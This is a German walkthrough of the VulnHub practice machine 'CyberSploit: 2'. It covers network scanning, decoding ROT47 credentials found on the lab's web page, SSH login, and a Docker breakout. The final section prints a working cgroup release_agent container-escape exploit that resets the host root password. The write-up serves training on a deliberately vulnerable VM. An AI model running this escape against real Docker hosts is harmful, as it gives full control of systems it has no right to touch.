CyberSploit: 2 – Vulnhub

VM: CyberSploit: 2
Quelle:www.vulnhub.com
Ziel: Kontrolle übernehmen und flag.txt auslesen.
Tools: NMAP
Techniken: Netzwerk & Port Scan, Enumeration, Privilege Escalation, Exploit Using, Dekodieren, Docker breakout

Schritt 1: Scanning

Voraussetzungen: VM ist gestartet, eine IP wurde durch DHCP zugewiesen.

Nachdem die VM gestartet und geladen wurde, müssen wir die IP von der VM ermitteln. Dabei hilft uns das Tool NMAP welches beim Kali Linux schon vorinstalliert ist. Falls auf deinem System kein NMAP installiert ist, kannst du es aus Repositorien oder von der Seite des Entwicklers herunterladen und installieren.

Mit dem Befehl nmap -PE -sn -oG - 192.168.178.1/24 scannen wir unser Netzwerk auf aktive Geräte, die auf ein Ping antworten. Als Netzwerkadresse muss du dein Netzwerkbereich eingeben.

CyberSploit 2 - IP Scan

Bei mir wurde der VM die IP 192.168.178.156 (rot unterstrichen) zugewiesen.

Nachdem wir die IP von der VM ermittelt haben, können wir einen Port-Scan durchführen. Mit einem Port-Scan kann ermittelt werden welche Dienste auf der VM laufen. Das machen wir mit dem gleichen Tool nur mit anderem Parameter. nmap -p- -A 192.168.178.156 gibt uns alle offene Ports aus, die auf ein TCP Verbindungsversuch antworten.

CyberSploit - Port Scan

Wie auf dem Bild zu sehen ist, wurden mehrere offene Ports ermittelt:

PortService
22SSH
80HTTP

Schritt 2: Enumeration

Nachdem wir die offenen Ports ermittelt haben, ist die Zeit gekommen so viel wie möglich Informationen über das System zu kriegen. Fangen wir mit dem Port 80 – HTTP Server an. Dazu geben wir einfach die IP, die wir im Schritt 1 ermittelt haben in einen beliebigen Internet Browser an.
http://192.168.178.156

Hier bekommen wir eine statische Seite zu sehen auf welcher in einer Tabelle Benutzernamen, Passwörter und Internetdienste aufgelistet sind.

CyberSploit 2 - Index Page

Dabei fällt auf, dass unter dem Nr. 4 angezeigte Daten ungewöhnlich aussehen. Gucken wir uns den Quellcode der Seite an. Hier finden wir keine besonders nützlichen Informationen außer einem Kommentar:

CyberSploit 2 - Kommentar

Bei ROT47 handelt es sich um eine Kodierungsmethode in welcher die Zeichentabelle um 47 Zeichen Verschoben ist. Nachdem wir die unter dem Nr. 4 angezeigte Daten mit Hilfe eines beliebigen RO47 dekodieren, bekommen wir folgende Zugangsdaten:

UsernamePassword
shailendracybersploit1

Schritt 3: Infiltration

Da wir keine weiteren Anhaltspunkte haben, versuchen wir mit den Zugangsdaten eine SSH-Verbindung zu dem Host aufzubauen.

CyberSploit 2 - Hint

Der Verbindungsversuch war erfolgreich. In dem Host Verzeichnis finden wir eine hint.txt Datei wo nur ein einziges Wort drin steht „docker“. Prüfen wir ob auf dem Host Docker läuft und ob wir Berechtigungen haben mit den Container zu arbeiten.

docker images //Zeigt uns vorhandene Images an
docker ps //Zeigt uns laufende Container an
docker ps -a //Zeigt uns alle Container an
docker start ContainerID //Startet den Container
docker inspect ContainerID //Zeig uns die Konfiguration von dem Container an
docker run // Erstellt ein neuen Container

Wie wir mit „docker ps -a“ sehen können, existieren schon ein Paar Container.

CyberSploit 2 - Container List

Versuchen wir ein Container zu erstellen und den mit privilegierten Rechten zu starten.

docker run --rm -it --privileged busybox sh

Damit erstellen und starten wir einen Container in privilegiertem Modus aus dem Image "busybox" mit Befehl "sh" und holen uns die Session.

Jetzt müssen wir nur für unsere Bedürfnisse angepasstes POC ausführen um die Kontrolle über das System zu erlangen.

CyberSploit 2 - Breakout

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo 'echo -e "123\n123" | passwd root > $host_path/output' >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Am Ende verlassen wir den Container und prüfen die Ausgabe von unserem Befehl in der Datei /output

CyberSploit 2 - Final

Wie wir sehen können, konnten wir das Passwort von Root ändern und können damit die komplette Kontrolle über den Server übernehmen.